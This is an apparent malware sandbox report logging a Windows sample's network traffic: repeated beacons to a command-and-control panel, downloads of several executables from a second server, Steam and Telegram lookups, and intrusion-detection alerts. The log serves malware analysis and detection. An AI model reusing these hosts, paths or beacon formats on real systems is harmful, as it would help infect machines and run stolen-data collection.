Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/Cyber_Yoda/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 36 32 38 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1062802001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/asjduwgsgausi/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 36 32 38 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1062803001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/sawdu5t/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 36 32 38 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1062804001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/c0dxnfz/random.exe HTTP/1.1Host: 185.215.113.97
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 36 32 38 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1062805001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.97 185.215.113.97

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49712 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49709 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49711 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49708 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49707 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49713 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49706 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49710 -> 172.67.181.203:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:61695 -> 185.215.113.97:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:61710 -> 185.215.113.97:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:61713 -> 185.215.113.97:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:61711 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:61715 -> 185.215.113.97:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Code function: 3_2_0090E0C0 recv,recv,recv,recv,

3_2_0090E0C0

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: getyour.cyouConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKS1yQEIl7bJAQijtskBCKmdygEIr4fLAQiUocsBCIWgzQEIjafNAQjcvc0BCLnKzQEIq9HNAQiK080BCJ3WzQEIp9jNAQj5wNQVGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
